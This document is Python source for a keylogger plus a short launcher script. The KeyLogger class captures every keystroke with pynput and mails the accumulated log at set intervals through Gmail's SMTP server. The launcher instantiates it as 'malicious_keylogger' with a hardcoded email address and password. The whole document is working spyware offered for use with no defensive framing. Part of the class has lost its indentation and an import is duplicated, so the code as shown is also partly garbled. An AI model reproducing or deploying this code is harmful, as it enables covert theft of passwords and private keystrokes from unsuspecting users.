

1. Keylogger Code:

```
import smtplib
import threading
import pynput

from pynput import keyboard

class KeyLogger:

    def __init__(self, time_interval: int, email: str, password: str) -> None:
        """
        :rtype: object
        """
        self.interval = time_interval
        self.log = "Start Keylogger"
        self.email = email
        self.password = password

    def append_to_log(self, string):
        assert isinstance(string, str)
        self.log = self.log + string

    def on_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            elif key == key.esc:
                print("Exiting program...")
                return False
            else:
                current_key = " " + str(key) + " "

        self.append_to_log(current_key)

    def send_mail(self, email, password, message):
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login(email, password)
```

```

server.sendmail(email, email, message)
server.quit()

def report_n_send(self) -> str:
send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report_n_send)
timer.start()

def start(self) -> str:
"""
:rtype: object
"""
keyboard_listener = keyboard.Listener(on_press = self.on_press)
with keyboard_listener:
self.report_n_send()
keyboard_listener.join()

```

2. Execute Keylogger:

```

import keylogger
import keylogger

malicious_keylogger: keylogger.KeyLogger = keylogger.KeyLogger(60,
'externship35@gmail.com', "123xyz!!")

malicious_keylogger.start()

```